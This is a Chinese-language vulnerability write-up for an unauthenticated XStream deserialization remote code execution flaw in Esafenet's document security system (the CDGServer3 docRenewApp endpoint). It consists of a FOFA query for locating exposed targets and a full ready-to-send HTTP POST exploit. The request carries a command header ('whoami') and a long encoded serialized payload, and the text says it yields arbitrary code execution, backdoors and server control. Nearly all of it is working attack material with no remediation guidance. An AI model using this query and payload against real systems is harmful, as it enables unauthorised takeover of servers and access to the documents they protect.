# 亿赛通电子文档安全管理系统docRenewApp存在反序列化漏洞

某赛通电子文档安全管理系统docRenewApp接口处存XStream反序列化远程代码执行漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

## fofa

```java
body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"
```

## poc

```java
POST /CDGServer3/docRenewApp?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami
 
NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDPBDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOKBMPCBDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJNDMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAHKBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPANPLIBGDCCNMDNDNOIPOECCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBGKKMLKCBBPFOOJCKFFIMLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHOPGKLOPHLMELJFBIABENFKEHCLIKMFGHPPJFIBBANPIOFKEEBIFIBDIIAIKENFILIDPDELJDMOPFKBOHPGLIPMNCFJFDCJGKCFOAJMPIIBEOHJPPNHLOCINIECHMJJMCKHICOMIMLHJAOJIGIFLMINANOFADOGDLLHCEKPECHDFBGIPEPNJBJOGLHDLKFLBFPLPFAENMMIFOMMNCJGJJFPGFHOKMAGCEOCKMJJPPAFBNEAKOAMMEHPGCBAJCHDBGJANBBHGIBMPHAMCEHEFLBAGOKDPKIPPDFLJIADKKOJPEPIGAKPCGKBNFBPLLKLEGBPJJCDJFGHDMLPNJBGFMLGMCABONHBLHPKHKEGJIBPFKCLMBIKKOMINPAJEPFHANBIBKMPHKEODCBMMIGAEFCENBNKDONGNLBADGDLJBMJGKEMNJOMPHDOPALIGEPCEDDAHJMNMJBFLIPBODEDCDAPMNGCANOCPLLMJOCPMPJDMEAMEPELICJKJLODAJEILBOJNFAJOFNOGCHGOJEGMGCPNCDEECKPAIAOHCLJBBFDKKAIHOJEKDBOFMFOBEDLNGJNIAJPLGMHBLHODIKDLEPOINDPDDIGKOLGEOBFFPMOHLBEALFIGAKNDKEKEJMJLNGHNANLCGLPNLBBFNKNEKCGBJKJDABFNAGPDILHBAAIECKBLKEDIJIMPJOMFLHBMOBLEKNEHINHAKBOHICLGBBPIEJIKALMIJHKHFIDNICAEEFPGGPBCBFPOJDFFKAGKAEOOCPMGCCMHPCIKHCODDCNGDDNDLAIMAPEMPNECNFPIALJELGOIHECEKHBHOHNIFCBJBFAOKKDCMNHHINAFGNECFPOGHBNMPJOECCFOCHICANBDOCCELJCENBMIMBKCNJAEMBHLOJOGALHGLLOEBFGFJAOFJHEGNLCEBCHGLNFEEIDOKIJNDHDANFPGLEMHOIJHOOJGKLGHBFBMBPBKEFOAKAIAGDMBLDEKLFKADKHNPAKBNPDKFIOAMAKKEHFNDABEPGKBMFCDFFOCIPDDEBOBFONDJFAJIJBAMGNBMCMJODGEGKIMIOLLAKMKJJAOCEMOBDCODALCKGKKKIADHOFMLNDGJBEMLLJPJOKPAIDACMPCOKAGKLIIMDENPNMEIBBMIFHGJKLKGPNOBJGMMLDKFKALLFHFDGDBDBMPOPDBLDNMAALEMAHGINFECKFHKJHFOCDJNBEDNGJCNENGIDHBJOLHEPFLEPHOOGJKFEGFLEMLGKDOOKIMAJIBJKOLAKCHBJJFDIGEMPABDNJFGMDAGEDIOHJKOAEHPLIBOFLIMFIEFOOGDHDNLCKOKPEDKEEBPAHKFMKBNNBAMICPOPLNPIGLMPDLAFBIEPHPJBFLBDECCPFINEBGMPMECAICGFLMJEKEIKDOKJMOAJLFNHHEHEPDAMFLNPKCDPODPLMFFAMILMAFIDBDJJOKIJKGJACMOMEHDDCJJAAOAFJDCCEFHKMJNDJEOLOOIHCFIILOIGCOPDHENDDEODNJAJJFHNJIBJGJPFFKEDPBJAKIPHPKELOMHNFABNMIMODOGPBOFLLPBGAHCEOBBFJLKNAMKACHIOMMFLAPFJCHBIJAAEJELEFFEIMAMCACJBBGADJDJKKEHMGJCPCNIMKCPGHBPIFADBGGBPCIKNBGDCJJCPMABJINOGLAPAHGLJLADBJKFLNAAFKFOBIJKCFIDEKNFGFCHDPGLKFDKPPHPNCFIGAMHBNHMLJAHOKKFLNOCNDNPPJJHBBKHDIIENFAGAHOMFPNNBGDLDEHLBDOKEOAEFPPCIEPGIOAHDEEMIKDPHBMADGLNILDCIEKELEBBEOBKLCDLKLKLLKHDHBHGDDLHOHGPPANCDABBHHBDOOLEOAKBKDBPGLKFFFFOBLBHAPEELFFDEPOFFHIGOGDKMBIAMJNNOOFGCNHBCCCFKCAOFDDDCBPLMMHGBLEDOPNEHBOECJGFMFOEIEIFAHLCOOAOLBFFKHAHIEMAEOBBPMBJNDMJJDMNJEMBGMNEPCFODGCOCKJICOBEGAFJKFADJOFMGPILCDMBFLLLAHEKPBCDJEBMHDLBLDLLCIAGNJJBFHFOIPLNNOFAFNOMFPBPNFLPLFFNNBBNEPBHBKJEOHBJPMOHHEKFHGACPFPDAHPCAPPGPKBJBGGNIPLOHFPAPHLHCJJHNGNKOMDMIECKACEPHCFJJAIPLCEOFNLBAFGFLBLNBPAHBOOJOKHIBAJFEAEKBNHHODNJNMEONLHDIPPCJJAEKOOELNHPDPAEPPBILHLHELMDHGPJMILIEOFJHBIJHAIPPKCIJKKANAAKEDNDAILJPGJLIBJMABMPDMHGPNALCCAIIAMJMFGJDOIPEFEBMMOBABIKBMMHMFHLBEFFLAGJLNMDEAOALFJGOGNFMFEFKPMNCNNEFMJNADLNIILEGKLOOHMBHPJJCNFBPKIKMAIEIANCNDLOODENILDEJELHACIBBOCINOOFNPMINIFDEFMPBNDMFGHJHNKCKDECBJIBFMIMBGFCIHDJAKCPNAPNMOIKJIDLPJCIKNOGJDBALIDJPCNICIAIPNGPCLDBGPIFLGDPNDOODLHJPLHFILLLKDJHHDIBODNIPFLCAKAFMGCAAMKOEOPLJAAAPDAHJAJHIHGPDFLNALHAPHIOBEDFICNIHJLFALHJKNLFLBKIHIFNAIIFBILLNOAIOKFMLEPDIKMHGNMDLKBIEGLFHDNPPDFPEDPGOLPICMJPOFEAJJMHGKPJEJNEMJGIPKBDHEGLILBLJIEICMNINFCHAOGJNMIHPAOJCCFNJHGJCJEMJJPCNFDKKGDJCDFBPGNKGDMPEBIIMLMBBAOGBOPAEFOMIHEJCKJGBLFFOGNGOFPPJEFNPLFPOGPICGIKMGPNIKNOELEMAGNHKHOIKAILJBMJJIPABBGPICCMPNFPHHFHKDAHJKBMAHDBKLAJKPJFHOICCDFKJEDGGFDKPGJLKFJJJKCOANLNPDEJLHBBHJJGMNJPHFCHGINMJIMBDCBCDOHKDANDLFDOOCEADNHODFKGLBGAPAAONECAEACNDKGFGIMDAAKMLJJLAGKCJDECINGDJAHONECBMFDKMCKHOKADAPGBOKOGPEDFMHKFBDEBOMKNMELIALJHOHGOCAMKJCFECMNCODNHGIFBFIIJMPEHGNBDNGHICBLIGCOPDHENDDEODNJAJJFHNJIBJGJPFFKPBFOBDLLOIBAHALODFMHODOHOPGPMGLIPIJONOFCGMELPFMKMMCPFFNMILJFONAACCBCIJFCAFHOHLBALEIGHDPMMFMFIHKJBAGGGBDEDNCDHEJALEBDPIIEGCKGKMPLGKJGEJAJPMIFCDBAELNMDPNKFCAEGJCAFJPJBBMPLMEIGCNPOLIGHCLGMEJLKCHEPGBJCCDECFMKIBLFIGOFEJKPGAHIGOHNOKMLOHLKDIPAPMFOPBHDBMAAEBEOKBEMEHIILJENNPKHJIMJMNLGHMAENHOHGMEFLKPJJBHDGLGAAMIGDMDCHBMICMDKNGPCOPEKDEMFLKINAMOKNDLDBABNGLFPJHFMKMBBCAEJDENPHGJGGPLMIIHHIAHGIBOINFBNCKJLJIGEPNAOGJFAFPDDBHEBCKNNJKJDLBPHHDNNCEDGAKHGOKPMCLOOPIHHNFMNFOILEAOIFGOJGPDCBLNGLEIOHHHAJPFPGLJNFFHKCNMFGHAHANBJLHJFNNLIBEIFKHJHMENIIOONPDMFOCPKEDHHMEPHAJKGALDFDBOFKBOCDDAFLJBDIENKOHGJPHGLOPDMIEPDBHBBEILLFPOAKJKJAPFKAOMLFOJBLAAEAIFLBOMGECGDBILGNGBEHDEOFLOLHJKAOJMJKNNLKNDHAPCKCHLAFHMCCLNNIIGJLDLCCOALPEPPNEBDNPGEMMPFFALFDONIGHJEMJGJGPLKDKMBGCLJEPLHDBOIKMNGELEKLJLFFAEEEDMBJFLJGGHMPHADEJEJLKJCMLNFIELFBOKAOPCIMCEBFNGMECGFAMMNOMCHKEIJGGNIHKPBFJLKODLLABGBJANDJFBJNBDHIDNGJGLAOFHGFBMJAFJNNLKNBAALOGIIHFMIOLDOEEFNNJDFLIMNBAHJGPJBDHIKGHCDMMLKFOHOJFLOLHHCEJACKLGHIBJHJHGMECCLNHBDGHFNPNOFEJKKOMEFONNBANBKOLDEMFCMDLNLGDBFEOIKAFJDAHAEJHMIJGJFAOJIHAIBHOOEMHHCOODAIEOEBFLMNAMDIIDLDHAIJDBKCMGKJFHHFKKGABCJCPHBBKDBPGLKFFFFOBLBHAPEELFFDEPOFFHIINLEMPICLDNGAEELNGONJIKOPFIJBJIPDGPLEDMHNJJHLBJDDGNDIHECEJNEFNLEHNHFCFOEEEGFIOKCPENDLNJJHGFJGAMNFLNFFIMPGKEMKKAMEPBAHBKBHGGIEANHFOKPEDDNLADKABNLJPONGDIGMCLENLOBAKMEPODENJNNDPEOCCLMLOJDJPPPMEFLBFLAIDHNCCHDDONIDPMKIOAGODDPKHDBGFCIGOAFLPBMELEPDHECABPOFMOKJECEHKIJIKHLCEFMAIGEKAALLCMMCDLPHELOCEDNIAIIHJCGFHJFBBKFKCFOBAABJEIMEIMDPEPCHKEBCEMIPECMAJGCEKHGOKOGFNHHFMKOICKKBKKKBDGDPCGLGMGALDDMEEFILPFOCFHFGIPOHKADHACFDJCGCKPANCHDAEDMNIEACGEECCNIBJGGIENIOENAFDBNMJCPJDDDKGDLKMCILLIEKBEDADHHCMONHBAABOGHMPNGHHEHIHCBBJJINCFFJKKEHMGJCPCNIMKCPGHBPIFADBGGBPCIMBDPENPCFFFPDGMKEBPFOOFFBHCKPAGHGJJELHDFJBCKLMAJDCJIIILHKBHJJMKOAOMLFOJBLAAEAIFLBOMGECGDBILGNGBELIMDAFIFCBLHDHLCJLMAHCOKGMKDCLKKOGKKNDDAHMGGIAKGHAHPNADHLLPPFDJILKFMIHHPIMLOGMDHPFJHPMGEBKHGHLFDKPIKNDKFLBNHOODBEAHNBBDBALEJGOLJHFPKEIHMLKAJHBNICKMPHFANCLPNFFLDDHEKKOLODMEJOIJGPDOPCGDPKLNDLPBHFGIMJCPMLPCPNPCJCKNJBCJOJIJCHDGIDIIJGKMKAICADENFOEEGHJNEHADCHNEMABINOIIGAGNGNPNCPALKIADLLJBEMOKJEGPNELELFGCIFOMAFBPCAKEDHIGLMFPFIHGLFPIHFAOFBEIIDHKDCGIGPNOICHCLEAKLHILHDCONAKMNHALCLFLNOBIMBCMKNGHPIHGDEIGGILLNIHDPACAJGHBEBEBMIDAOCAAKGMNBCBENBLGLLLOKMDMJANECALMLPLJNKGJKBLCIPBJBPMJOHNPOBPOBCGEMKBPJABNDBKCGAFALLDPJHHGMOGDJDNEKGJBMEIBPIJIOLDOPCEDKDPACBAAMDFLLJMFEGLKICDEMPCHMHIDFKFKDCMGGALJOLJEMCGHMKIMJPOEFPGECHMGBLGGGBJEHBDGGAJEALPEDHDGJPPFLLAHGGKAPCNJCIFBLMGGCKOJLHCHOIMMGEADLOPOPLIHPEPBAHNKNAKOFIMOBBJIBBHMFDNDAIIFMLPLABGGJEDHELLDPGHIGOECAEMDJBGHODPCNEDENIFPEHAMJDPDEMNJOACCBGPPEILNOKDFHCNGKANGBCDCDNGEIBMJODCBPJNGKLECPCHDHJEEDHNFJEKGLMAFKCMKAMJPDMJLBGLPEJLLHINCGOCOENMLDKLDLHIDAHBBINIEFLIFGBJGMGMDOJDLFNMAJDPIFGICFKKIECPIPHHBMAJJGNBPCKCOIMIOODGNDMKKMLKFIDHKBFGDHLGANLCJCDEMNPGCGPIPNEMIKDJJNKECHEJMCNAGDJNGIFFDPFGMAKLPLPLMOEDIEIOIIKMFLNDFDHCJHENMMAAJOFJLGDIAHBOCLMAGLPKKJAJGFPDCBJPGNAAMNGNNFDHDPIEHFFEPPJOMADEBHBIGFNOKHDKDNAIAAKLIGFNIFDKFMLJANODMADILHHONCGNLNJEKKAJHPMIDGHNJJOAGGFNKCOCONGBKNDNIJOLBGLGPLAKGCDIKIBNPMOACDBJLDLCNDCKFOJKINIIPBNBDHMNDEILFFCBIEMNMHCACEDFAHNMJLDEFGMJIINCJDNOHLDJIDOKKPCCENOHBDNMCGEHGENDBBBHFOFIAFGGCNKOKLMMCOOHNJEAJKILLKFJCEKEEDJHBGIMKLOEANBKMBFLDAGGOAIHNLDOPBPCHGNIDHGKFAMFGKBIIENFMJLHCGEMBKNJPMKDFCJCHFOLNOIPADHBEPLLHMNGEBMBHNLBHPIGHGPGKCPFOEGAHJKPIPGGMPIGNBDDIHKCLOFKIBBBHNPBNCLFGCHPOMIENELILEJPLKAHBJEPICAGJMNOAAOJLMPDBOOMEOFFAMKILAJANPCKENJMKLFKMBGOKBNKFGEGAEPEANNCIEENEBEBECBGLOKHEJCFCKABBAAMCDKCIMJLILOAEKHNKPCGOLDBBFFIGDHPDHOFNMLANMCHBIEHHIBHOPPLOFEGOAJLHCHPHGKLOCGJKKABNHLEHGKOINGEDMGDMCKKKLABBIOJCGANBDOCCELJCENBMIMBKCNJAEMBHLOJOGFLKJCNMEPJPKGKPHDGHIDCKAODGNNNCDKEDHLCIANLKENHMMDELDNBPNNNPHLGDDOLGDFPHOHFPBKMFEGOLFMMAFCNCDLMEKPKCDJNHIOJOOJADDHHHPPLGLMINICBIOEIALHBBCEGACCNDNOAPGNAGELEPGCBGLAEOPFGGIJBAKDFCPCCGJAHBDAJEPBCFMNJIKADAACMEFNBCBKICAALEICBCKEKHPCPDAKMDPGNCBBNKDFICFKKJEGOEJELPGLECFINPMBCCDLIGEJJALHPNHDAMIFEGJOCFGFDGBNJKHKAMOKOKKLIFIBAFAELPAPCHFFEOEBNFMLGPPMCDHDIIABOBFDCPFOMMNCJGJJFPGFHOKMAGCEOCKMJJPPAFBDLODOABMLPLAMCJIFGJNHALNOJMBLCFJFCDNCHLBGHLCAOICIJGDLGDMEKPHHMBOHAJJGMAIGLPIEIHHLKDOMBJMOPJIKBAKDHBBJLJJNPOHIDBAFAGMBLLPIEHENEMHNIFAGMMELMAJHCLFCDNFKHGEJFGGEIBKPFAFHFOFHGMCLLGCAJDGGJNKFBGDAAEAJNGEOJBBIFLLKNJIOJNHCFKPAPHGABENLMABGDMFOEEKIMHOBPCLPEAGNBFHEOMLGDDLDCODAJIEIPJNHJFDPHILIKHMHJHBJBLPNPPPJOJJBDJHCPOCLBIBBPJLLMNKIOKPHOFJKEJAMOBGCHOONMPJNEGDMNFPKMNOIOMJPEPDNKBODKFCDGJMGBCNHIGHFODOJAHDAFEDKOGGLMEJCOACLPIMCMPLDKDAPFJGGECGPNCEDGAEMJADOCGBEFIIPBMJMMMPNHNAKJOBMOIMMOMEBOBHPPIPAHJHKMJADIIDCIGOMDJBJHMHCGFJLELPFOMAFEAPHLHCCKKNNJMMLKIJEBGEBEDOOLIFHLKHCOONJMHCAFGOKNOAAKONAAPPMONFOJENLNEPGBJKLEHIGBDOAIDKAILCHIFPPGGFLGCPINADFPDCGMIHHIPHBCPIPHKGMGBPEICLDADONHGOFMMAMLAAHHMBIGNNOENIOJLMNGNMMKCNGEKEHLJHHCDFJKMDOGMOLHIEHDOCNBPILJOFBNCDONBOIHDDLALGCLOBNAFBDHNPEJJODIENCOCKHGOHOOLHFNDOFAEPCHOJNFJJNHKAIBGJEGDBHDFJGHGEPIAGPJBCCCAKMHIFDDNEDMCAOBCCGOHCMMADMKHCKIACBMGFKOGDNFGIGBJFFFKJFNIJAPHIMHKOLLIECAJFNFLJLLHEBIBLIOBOEIMNJMIJOCHEBEKPDJOCCMGGEOKGOMOFPKAICOHBGBOEFIIIAJKPEIIGBGLJCCAHJNKJFILFICJCPAICDGOBJIHMEOJHLCNJBDIEHHNDGKMKLLDLMAJLOHECBFJEOHKCABKIHGEBNMAGAODODMAOMOBILIIGCDKP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```

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